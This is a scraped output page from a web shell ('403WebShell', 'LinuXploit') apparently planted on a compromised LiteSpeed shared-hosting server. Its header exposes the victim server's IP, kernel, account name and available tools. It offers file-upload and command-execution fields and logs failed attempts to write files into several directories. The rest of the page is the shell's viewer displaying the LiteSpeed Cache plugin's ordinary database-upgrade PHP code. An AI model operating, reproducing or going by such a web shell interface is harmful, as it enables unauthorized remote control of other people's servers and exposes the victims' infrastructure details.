Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.145.88.155
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/src/litespeed-wp-plugin/6.5.3/litespeed-cache/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/src/litespeed-wp-plugin/6.5.3/litespeed-cache/src/data.upgrade.func.php
<?php
/**
 * Database upgrade funcs
 *
 * NOTE: whenever called this file, always call Data::get_upgrade_lock and Data::_set_upgrade_lock first.
 *
 * @since  3.0
 */
defined('WPINC') || exit();

use LiteSpeed\Debug2;
use LiteSpeed\Conf;
use LiteSpeed\Admin_Display;
use LiteSpeed\File;

/**
 * Append webp/mobile to url_file
 * @since 5.3
 */
function litespeed_update_5_3()
{
	global $wpdb;
	Debug2::debug('[Data] Upgrade url_file table');
	$tb_exists = $wpdb->get_var('SHOW TABLES LIKE "' . $wpdb->prefix . 'litespeed_url_file"');
	if ($tb_exists) {
		$q =
			'ALTER TABLE `' .
			$wpdb->prefix .
			'litespeed_url_file`
				ADD COLUMN `mobile` tinyint(4) NOT NULL COMMENT "mobile=1",
				ADD COLUMN `webp` tinyint(4) NOT NULL COMMENT "webp=1"
			';
		$wpdb->query($q);
	}
}

/**
 * Add expired to url_file table
 * @since 4.4.4
 */
function litespeed_update_4_4_4()
{
	global $wpdb;
	Debug2::debug('[Data] Upgrade url_file table');
	$tb_exists = $wpdb->get_var('SHOW TABLES LIKE "' . $wpdb->prefix . 'litespeed_url_file"');
	if ($tb_exists) {
		$q =
			'ALTER TABLE `' .
			$wpdb->prefix .
			'litespeed_url_file`
				ADD COLUMN `expired` int(11) NOT NULL DEFAULT 0,
				ADD KEY `filename_2` (`filename`,`expired`),
				ADD KEY `url_id` (`url_id`,`expired`)
			';
		$wpdb->query($q);
	}
}

/**
 * Drop cssjs table and rm cssjs folder
 * @since 4.3
 */
function litespeed_update_4_3()
{
	if (file_exists(LITESPEED_STATIC_DIR . '/ccsjs')) {
		File::rrmdir(LITESPEED_STATIC_DIR . '/ccsjs');
	}
}

/**
 * Drop object cache data file
 * @since 4.1
 */
function litespeed_update_4_1()
{
	if (file_exists(WP_CONTENT_DIR . '/.object-cache.ini')) {
		unlink(WP_CONTENT_DIR . '/.object-cache.ini');
	}
}

/**
 * Drop cssjs table and rm cssjs folder
 * @since 4.0
 */
function litespeed_update_4()
{
	global $wpdb;
	$tb = $wpdb->prefix . 'litespeed_cssjs';
	$existed = $wpdb->get_var("SHOW TABLES LIKE '$tb'");
	if (!$existed) {
		return;
	}

	$q = 'DROP TABLE IF EXISTS ' . $tb;
	$wpdb->query($q);

	if (file_exists(LITESPEED_STATIC_DIR . '/ccsjs')) {
		File::rrmdir(LITESPEED_STATIC_DIR . '/ccsjs');
	}
}

/**
 * Append jQuery to JS optm exclude list for max compatibility
 * Turn off JS Combine and Defer
 *
 * @since  3.5.1
 */
function litespeed_update_3_5()
{
	$__conf = Conf::cls();
	// Excludes jQuery
	foreach (array('optm-js_exc', 'optm-js_defer_exc') as $v) {
		$curr_setting = $__conf->conf($v);
		$curr_setting[] = 'jquery.js';
		$curr_setting[] = 'jquery.min.js';
		$__conf->update($v, $curr_setting);
	}
	// Turn off JS Combine and defer
	$show_msg = false;
	foreach (array('optm-js_comb', 'optm-js_defer', 'optm-js_inline_defer') as $v) {
		$curr_setting = $__conf->conf($v);
		if (!$curr_setting) {
			continue;
		}
		$show_msg = true;
		$__conf->update($v, false);
	}

	if ($show_msg) {
		$msg = sprintf(
			__(
				'LiteSpeed Cache upgraded successfully. NOTE: Due to changes in this version, the settings %1$s and %2$s have been turned OFF. Please turn them back on manually and verify that your site layout is correct, and you have no JS errors.',
				'litespeed-cache'
			),
			'<code>' . __('JS Combine', 'litespeed-cache') . '</code>',
			'<code>' . __('JS Defer', 'litespeed-cache') . '</code>'
		);
		$msg .= sprintf(' <a href="admin.php?page=litespeed-page_optm#settings_js">%s</a>.', __('Click here to settings', 'litespeed-cache'));
		Admin_Display::info($msg, false, true);
	}
}

/**
 * For version under v2.0 to v2.0+
 *
 * @since  3.0
 */
function litespeed_update_2_0($ver)
{
	global $wpdb;

	// Table version only exists after all old data migrated
	// Last modified is v2.4.2
	if (version_compare($ver, '2.4.2', '<')) {
		/**
		 * Convert old data from postmeta to img_optm table
		 * @since  2.0
		 */

		// Migrate data from `wp_postmeta` to `wp_litespeed_img_optm`
		$mids_to_del = array();
		$q = "SELECT * FROM $wpdb->postmeta WHERE meta_key = %s ORDER BY meta_id";
		$meta_value_list = $wpdb->get_results($wpdb->prepare($q, 'litespeed-optimize-data'));
		if ($meta_value_list) {
			$max_k = count($meta_value_list) - 1;
			foreach ($meta_value_list as $k => $v) {
				$md52src_list = maybe_unserialize($v->meta_value);
				foreach ($md52src_list as $md5 => $v2) {
					$f = array(
						'post_id' => $v->post_id,
						'optm_status' => $v2[1],
						'src' => $v2[0],
						'srcpath_md5' => md5($v2[0]),
						'src_md5' => $md5,
						'server' => $v2[2],
					);
					$wpdb->replace($wpdb->prefix . 'litespeed_img_optm', $f);
				}
				$mids_to_del[] = $v->meta_id;

				// Delete from postmeta
				if (count($mids_to_del) > 100 || $k == $max_k) {
					$q = "DELETE FROM $wpdb->postmeta WHERE meta_id IN ( " . implode(',', array_fill(0, count($mids_to_del), '%s')) . ' ) ';
					$wpdb->query($wpdb->prepare($q, $mids_to_del));

					$mids_to_del = array();
				}
			}

			Debug2::debug('[Data] img_optm inserted records: ' . $k);
		}

		$q = "DELETE FROM $wpdb->postmeta WHERE meta_key = %s";
		$rows = $wpdb->query($wpdb->prepare($q, 'litespeed-optimize-status'));
		Debug2::debug('[Data] img_optm delete optm_status records: ' . $rows);
	}

	/**
	 * Add target_md5 field to table
	 * @since  2.4.2
	 */
	if (version_compare($ver, '2.4.2', '<') && version_compare($ver, '2.0', '>=')) {
		// NOTE: For new users, need to bypass this section
		$sql = sprintf('ALTER TABLE `%1$s` ADD `server_info` text NOT NULL, DROP COLUMN `server`', $wpdb->prefix . 'litespeed_img_optm');

		$res = $wpdb->query($sql);
		if ($res !== true) {
			Debug2::debug('[Data] Warning: Alter table img_optm failed!', $sql);
		} else {
			Debug2::debug('[Data] Successfully upgraded table img_optm.');
		}
	}

	// Delete img optm tb version
	delete_option($wpdb->prefix . 'litespeed_img_optm');

	// Delete possible HTML optm data from wp_options
	delete_option('litespeed-cache-optimized');

	// Delete HTML optm tb version
	delete_option($wpdb->prefix . 'litespeed_optimizer');
}

/**
 * Move all options in litespeed-cache-conf from v3.0- to separate records
 *
 * @since  3.0
 */
function litespeed_update_3_0($ver)
{
	global $wpdb;
	// Upgrade v2.0- to v2.0 first
	if (version_compare($ver, '2.0', '<')) {
		litespeed_update_2_0($ver);
	}

	set_time_limit(86400);

	// conv items to litespeed.conf.*
	Debug2::debug('[Data] Conv items to litespeed.conf.*');
	$data = array(
		'litespeed-cache-exclude-cache-roles' => 'cache-exc_roles',
		'litespeed-cache-drop_qs' => 'cache-drop_qs',
		'litespeed-forced_cache_uri' => 'cache-force_uri',
		'litespeed-cache_uri_priv' => 'cache-priv_uri',
		'litespeed-excludes_uri' => 'cache-exc',
		'litespeed-cache-vary-group' => 'cache-vary_group',
		'litespeed-adv-purge_all_hooks' => 'purge-hook_all',
		'litespeed-object_global_groups' => 'object-global_groups',
		'litespeed-object_non_persistent_groups' => 'object-non_persistent_groups',
		'litespeed-media-lazy-img-excludes' => 'media-lazy_exc',
		'litespeed-media-lazy-img-cls-excludes' => 'media-lazy_cls_exc',
		'litespeed-media-webp_attribute' => 'img_optm-webp_attr',
		'litespeed-optm-css' => 'optm-ccss_con',
		'litespeed-optm_excludes' => 'optm-exc',
		'litespeed-optm-ccss-separate_posttype' => 'optm-ccss_sep_posttype',
		'litespeed-optm-css-separate_uri' => 'optm-ccss_sep_uri',
		'litespeed-optm-js-defer-excludes' => 'optm-js_defer_exc',
		'litespeed-cache-dns_prefetch' => 'optm-dns_prefetch',
		'litespeed-cache-exclude-optimization-roles' => 'optm-exc_roles',
		'litespeed-log_ignore_filters' => 'debug-log_no_filters', // depreciated
		'litespeed-log_ignore_part_filters' => 'debug-log_no_part_filters', // depreciated
		'litespeed-cdn-ori_dir' => 'cdn-ori_dir',
		'litespeed-cache-cdn_mapping' => 'cdn-mapping',
		'litespeed-crawler-as-uids' => 'crawler-roles',
		'litespeed-crawler-cookies' => 'crawler-cookies',
	);
	foreach ($data as $k => $v) {
		$old_data = get_option($k);
		if ($old_data) {
			Debug2::debug("[Data] Convert $k");
			// They must be an array
			if (!is_array($old_data) && $v != 'optm-ccss_con') {
				$old_data = explode("\n", $old_data);
			}

			if ($v == 'crawler-cookies') {
				$tmp = array();
				$i = 0;
				foreach ($old_data as $k2 => $v2) {
					$tmp[$i]['name'] = $k2;
					$tmp[$i]['vals'] = explode("\n", $v2);
					$i++;
				}
				$old_data = $tmp;
			}

			add_option('litespeed.conf.' . $v, $old_data);
		}
		Debug2::debug("[Data] Delete $k");
		delete_option($k);
	}

	// conv other items
	$data = array(
		'litespeed-setting-mode' => 'litespeed.setting.mode',
		'litespeed-media-need-pull' => 'litespeed.img_optm.need_pull',
		'litespeed-env-ref' => 'litespeed.env.ref',
		'litespeed-cache-cloudflare_status' => 'litespeed.cdn.cloudflare.status',
	);
	foreach ($data as $k => $v) {
		$old_data = get_option($k);
		if ($old_data) {
			add_option($v, $old_data);
		}
		delete_option($k);
	}

	// Conv conf from litespeed-cache-conf child to litespeed.conf.*
	Debug2::debug('[Data] Conv conf from litespeed-cache-conf child to litespeed.conf.*');
	$previous_options = get_option('litespeed-cache-conf');

	$data = array(
		'radio_select' => 'cache',
		'hash' => 'hash',
		'auto_upgrade' => 'auto_upgrade',
		'news' => 'news',
		'crawler_domain_ip' => 'server_ip',

		'esi_enabled' => 'esi',
		'esi_cached_admbar' => 'esi-cache_admbar',
		'esi_cached_commform' => 'esi-cache_commform',

		'heartbeat' => 'misc-heartbeat_front',

		'cache_browser' => 'cache-browser',
		'cache_browser_ttl' => 'cache-ttl_browser',
		'instant_click' => 'util-instant_click',
		'use_http_for_https_vary' => 'util-no_https_vary',

		'purge_upgrade' => 'purge-upgrade',
		'timed_urls' => 'purge-timed_urls',
		'timed_urls_time' => 'purge-timed_urls_time',

		'cache_priv' => 'cache-priv',
		'cache_commenter' => 'cache-commenter',
		'cache_rest' => 'cache-rest',
		'cache_page_login' => 'cache-page_login',
		'cache_favicon' => 'cache-favicon',
		'cache_resources' => 'cache-resources',
		'mobileview_enabled' => 'cache-mobile',
		'mobileview_rules' => 'cache-mobile_rules',
		'nocache_useragents' => 'cache-exc_useragents',
		'nocache_cookies' => 'cache-exc_cookies',
		'excludes_qs' => 'cache-exc_qs',
		'excludes_cat' => 'cache-exc_cat',
		'excludes_tag' => 'cache-exc_tag',
		'public_ttl' => 'cache-ttl_pub',
		'private_ttl' => 'cache-ttl_priv',
		'front_page_ttl' => 'cache-ttl_frontpage',
		'feed_ttl' => 'cache-ttl_feed',
		'login_cookie' => 'cache-login_cookie',

		'debug_disable_all' => 'debug-disable_all',
		'debug' => 'debug',
		'admin_ips' => 'debug-ips',
		'debug_level' => 'debug-level',
		'log_file_size' => 'debug-filesize',
		'debug_cookie' => 'debug-cookie',
		'collapse_qs' => 'debug-collapse_qs',
		// 'log_filters' 				=> 'debug-log_filters',

		'crawler_cron_active' => 'crawler',
		// 'crawler_include_posts' 	=> 'crawler-inc_posts',
		// 'crawler_include_pages' 	=> 'crawler-inc_pages',
		// 'crawler_include_cats' 		=> 'crawler-inc_cats',
		// 'crawler_include_tags' 		=> 'crawler-inc_tags',
		// 'crawler_excludes_cpt' 		=> 'crawler-exc_cpt',
		// 'crawler_order_links' 		=> 'crawler-order_links',
		'crawler_usleep' => 'crawler-usleep',
		'crawler_run_duration' => 'crawler-run_duration',
		'crawler_run_interval' => 'crawler-run_interval',
		'crawler_crawl_interval' => 'crawler-crawl_interval',
		'crawler_threads' => 'crawler-threads',
		'crawler_load_limit' => 'crawler-load_limit',
		'crawler_custom_sitemap' => 'crawler-sitemap',

		'cache_object' => 'object',
		'cache_object_kind' => 'object-kind',
		'cache_object_host' => 'object-host',
		'cache_object_port' => 'object-port',
		'cache_object_life' => 'object-life',
		'cache_object_persistent' => 'object-persistent',
		'cache_object_admin' => 'object-admin',
		'cache_object_transients' => 'object-transients',
		'cache_object_db_id' => 'object-db_id',
		'cache_object_user' => 'object-user',
		'cache_object_pswd' => 'object-psw',

		'cdn' => 'cdn',
		'cdn_ori' => 'cdn-ori',
		'cdn_exclude' => 'cdn-exc',
		// 'cdn_remote_jquery'			=> 'cdn-remote_jq',
		'cdn_quic' => 'cdn-quic',
		'cdn_cloudflare' => 'cdn-cloudflare',
		'cdn_cloudflare_email' => 'cdn-cloudflare_email',
		'cdn_cloudflare_key' => 'cdn-cloudflare_key',
		'cdn_cloudflare_name' => 'cdn-cloudflare_name',
		'cdn_cloudflare_zone' => 'cdn-cloudflare_zone',

		'media_img_lazy' => 'media-lazy',
		'media_img_lazy_placeholder' => 'media-lazy_placeholder',
		'media_placeholder_resp' => 'media-placeholder_resp',
		'media_placeholder_resp_color' => 'media-placeholder_resp_color',
		'media_placeholder_resp_async' => 'media-placeholder_resp_async',
		'media_iframe_lazy' => 'media-iframe_lazy',
		// 'media_img_lazyjs_inline'		=> 'media-lazyjs_inline',

		'media_optm_auto' => 'img_optm-auto',
		'media_optm_cron' => 'img_optm-cron',
		'media_optm_ori' => 'img_optm-ori',
		'media_rm_ori_bkup' => 'img_optm-rm_bkup',
		// 'media_optm_webp'			=> 'img_optm-webp',
		'media_webp_replace' => 'img_optm-webp',
		'media_optm_lossless' => 'img_optm-lossless',
		'media_optm_exif' => 'img_optm-exif',
		'media_webp_replace_srcset' => 'img_optm-webp_replace_srcset',

		'css_minify' => 'optm-css_min',
		// 'css_inline_minify'		=> 'optm-css_inline_min',
		'css_combine' => 'optm-css_comb',
		// 'css_combined_priority'	=> 'optm-css_comb_priority',
		// 'css_http2'				=> 'optm-css_http2',
		'css_exclude' => 'optm-css_exc',
		'js_minify' => 'optm-js_min',
		// 'js_inline_minify'		=> 'optm-js_inline_min',
		'js_combine' => 'optm-js_comb',
		// 'js_combined_priority'	=> 'optm-js_comb_priority',
		// 'js_http2'				=> 'optm-js_http2',
		'js_exclude' => 'optm-js_exc',
		// 'optimize_ttl'			=> 'optm-ttl',
		'html_minify' => 'optm-html_min',
		'optm_qs_rm' => 'optm-qs_rm',
		'optm_ggfonts_rm' => 'optm-ggfonts_rm',
		'optm_css_async' => 'optm-css_async',
		// 'optm_ccss_gen'			=> 'optm-ccss_gen',
		// 'optm_ccss_async'		=> 'optm-ccss_async',
		'optm_css_async_inline' => 'optm-css_async_inline',
		'optm_js_defer' => 'optm-js_defer',
		'optm_emoji_rm' => 'optm-emoji_rm',
		// 'optm_exclude_jquery'	=> 'optm-exc_jq',
		'optm_ggfonts_async' => 'optm-ggfonts_async',
		// 'optm_max_size'			=> 'optm-max_size',
		// 'optm_rm_comment'		=> 'optm-rm_comment',
	);
	foreach ($data as $k => $v) {
		if (!isset($previous_options[$k])) {
			continue;
		}
		// The following values must be array
		if (!is_array($previous_options[$k])) {
			if (in_array($v, array('cdn-ori', 'cache-exc_cat', 'cache-exc_tag'))) {
				$previous_options[$k] = explode(',', $previous_options[$k]);
				$previous_options[$k] = array_filter($previous_options[$k]);
			} elseif (in_array($v, array('cache-mobile_rules', 'cache-exc_useragents', 'cache-exc_cookies'))) {
				$previous_options[$k] = explode('|', str_replace('\\ ', ' ', $previous_options[$k]));
				$previous_options[$k] = array_filter($previous_options[$k]);
			} elseif (
				in_array($v, array(
					'purge-timed_urls',
					'cache-exc_qs',
					'debug-ips',
					// 'crawler-exc_cpt',
					'cdn-exc',
					'optm-css_exc',
					'optm-js_exc',
				))
			) {
				$previous_options[$k] = explode("\n", $previous_options[$k]);
				$previous_options[$k] = array_filter($previous_options[$k]);
			}
		}

		// Special handler for heartbeat
		if ($v == 'misc-heartbeat_front') {
			if (!$previous_options[$k]) {
				add_option('litespeed.conf.misc-heartbeat_front', true);
				add_option('litespeed.conf.misc-heartbeat_back', true);
				add_option('litespeed.conf.misc-heartbeat_editor', true);
				add_option('litespeed.conf.misc-heartbeat_front_ttl', 0);
				add_option('litespeed.conf.misc-heartbeat_back_ttl', 0);
				add_option('litespeed.conf.misc-heartbeat_editor_ttl', 0);
			}
			continue;
		}

		add_option('litespeed.conf.' . $v, $previous_options[$k]);
	}
	// Conv purge_by_post
	$data = array(
		'-' => 'purge-post_all',
		'F' => 'purge-post_f',
		'H' => 'purge-post_h',
		'PGS' => 'purge-post_p',
		'PGSRP' => 'purge-post_pwrp',
		'A' => 'purge-post_a',
		'Y' => 'purge-post_y',
		'M' => 'purge-post_m',
		'D' => 'purge-post_d',
		'T' => 'purge-post_t',
		'PT' => 'purge-post_pt',
	);
	if (isset($previous_options['purge_by_post'])) {
		$purge_by_post = explode('.', $previous_options['purge_by_post']);
		foreach ($data as $k => $v) {
			add_option('litespeed.conf.' . $v, in_array($k, $purge_by_post));
		}
	}
	// Conv 404/403/500 TTL
	$ttl_status = array();
	if (isset($previous_options['403_ttl'])) {
		$ttl_status[] = '403 ' . $previous_options['403_ttl'];
	}
	if (isset($previous_options['404_ttl'])) {
		$ttl_status[] = '404 ' . $previous_options['404_ttl'];
	}
	if (isset($previous_options['500_ttl'])) {
		$ttl_status[] = '500 ' . $previous_options['500_ttl'];
	}
	add_option('litespeed.conf.cache-ttl_status', $ttl_status);

	/**
	 * Resave cdn cfg from lscfg to separate cfg when upgrade to v1.7
	 *
	 * NOTE: this can be left here as `add_option` bcos it is after the item `litespeed-cache-cdn_mapping` is converted
	 *
	 * @since 1.7
	 */
	if (isset($previous_options['cdn_url'])) {
		$cdn_mapping = array(
			'url' => $previous_options['cdn_url'],
			'inc_img' => $previous_options['cdn_inc_img'],
			'inc_css' => $previous_options['cdn_inc_css'],
			'inc_js' => $previous_options['cdn_inc_js'],
			'filetype' => $previous_options['cdn_filetype'],
		);
		add_option('litespeed.conf.cdn-mapping', array($cdn_mapping));
		Debug2::debug('[Data] plugin_upgrade option adding CDN map');
	}

	/**
	 * Move Exclude settings to separate item
	 *
	 * NOTE: this can be left here as `add_option` bcos it is after the relevant items are converted
	 *
	 * @since  2.3
	 */
	if (isset($previous_options['forced_cache_uri'])) {
		add_option('litespeed.conf.cache-force_uri', $previous_options['forced_cache_uri']);
	}
	if (isset($previous_options['cache_uri_priv'])) {
		add_option('litespeed.conf.cache-priv_uri', $previous_options['cache_uri_priv']);
	}
	if (isset($previous_options['optm_excludes'])) {
		add_option('litespeed.conf.optm-exc', $previous_options['optm_excludes']);
	}
	if (isset($previous_options['excludes_uri'])) {
		add_option('litespeed.conf.cache-exc', $previous_options['excludes_uri']);
	}

	// Backup stale conf
	Debug2::debug('[Data] Backup stale conf');
	delete_option('litespeed-cache-conf');
	add_option('litespeed-cache-conf.bk', $previous_options);

	// Upgrade site_options if is network
	if (is_multisite()) {
		$ver = get_site_option('litespeed.conf._version');
		if (!$ver) {
			Debug2::debug('[Data] Conv multisite');
			$previous_site_options = get_site_option('litespeed-cache-conf');

			$data = array(
				'network_enabled' => 'cache',
				'use_primary_settings' => 'use_primary_settings',
				'auto_upgrade' => 'auto_upgrade',
				'purge_upgrade' => 'purge-upgrade',

				'cache_favicon' => 'cache-favicon',
				'cache_resources' => 'cache-resources',
				'mobileview_enabled' => 'cache-mobile',
				'mobileview_rules' => 'cache-mobile_rules',
				'login_cookie' => 'cache-login_cookie',
				'nocache_cookies' => 'cache-exc_cookies',
				'nocache_useragents' => 'cache-exc_useragents',

				'cache_object' => 'object',
				'cache_object_kind' => 'object-kind',
				'cache_object_host' => 'object-host',
				'cache_object_port' => 'object-port',
				'cache_object_life' => 'object-life',
				'cache_object_persistent' => 'object-persistent',
				'cache_object_admin' => 'object-admin',
				'cache_object_transients' => 'object-transients',
				'cache_object_db_id' => 'object-db_id',
				'cache_object_user' => 'object-user',
				'cache_object_pswd' => 'object-psw',

				'cache_browser' => 'cache-browser',
				'cache_browser_ttl' => 'cache-ttl_browser',

				'media_webp_replace' => 'img_optm-webp',
			);
			foreach ($data as $k => $v) {
				if (!isset($previous_site_options[$k])) {
					continue;
				}
				// The following values must be array
				if (!is_array($previous_site_options[$k])) {
					if (in_array($v, array('cache-mobile_rules', 'cache-exc_useragents', 'cache-exc_cookies'))) {
						$previous_site_options[$k] = explode('|', str_replace('\\ ', ' ', $previous_site_options[$k]));
						$previous_site_options[$k] = array_filter($previous_site_options[$k]);
					}
				}

				add_site_option('litespeed.conf.' . $v, $previous_site_options[$k]);
			}

			// These are already converted to single record in single site
			$data = array('object-global_groups', 'object-non_persistent_groups');
			foreach ($data as $v) {
				$old_data = get_option($v);
				if ($old_data) {
					add_site_option('litespeed.conf.' . $v, $old_data);
				}
			}

			delete_site_option('litespeed-cache-conf');

			add_site_option('litespeed.conf._version', '3.0');
		}
	}

	// delete tables
	Debug2::debug('[Data] Drop litespeed_optimizer');
	$q = 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'litespeed_optimizer';
	$wpdb->query($q);

	// Update image optm table
	Debug2::debug('[Data] Upgrade img_optm table');
	$tb_exists = $wpdb->get_var('SHOW TABLES LIKE "' . $wpdb->prefix . 'litespeed_img_optm"');
	if ($tb_exists) {
		$status_mapping = array(
			'requested' => 3,
			'notified' => 6,
			'pulled' => 9,
			'failed' => -1,
			'miss' => -3,
			'err' => -9,
			'err_fetch' => -5,
			'err_optm' => -7,
			'xmeta' => -8,
		);
		foreach ($status_mapping as $k => $v) {
			$q = 'UPDATE `' . $wpdb->prefix . "litespeed_img_optm` SET optm_status='$v' WHERE optm_status='$k'";
			$wpdb->query($q);
		}

		$q =
			'ALTER TABLE `' .
			$wpdb->prefix .
			'litespeed_img_optm`
				DROP INDEX `post_id_2`,
				DROP INDEX `root_id`,
				DROP INDEX `src_md5`,
				DROP INDEX `srcpath_md5`,
				DROP COLUMN `srcpath_md5`,
				DROP COLUMN `src_md5`,
				DROP COLUMN `root_id`,
				DROP COLUMN `target_saved`,
				DROP COLUMN `webp_saved`,
				DROP COLUMN `server_info`,
				MODIFY COLUMN `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
				MODIFY COLUMN `optm_status` tinyint(4) NOT NULL DEFAULT 0,
				MODIFY COLUMN `src` text COLLATE utf8mb4_unicode_ci NOT NULL
			';
		$wpdb->query($q);
	}

	delete_option('litespeed-recommended');

	Debug2::debug('[Data] litespeed_update_3_0 done!');

	add_option('litespeed.conf._version', '3.0');
}

Youez - 2016 - github.com/yon3zu
LinuXploit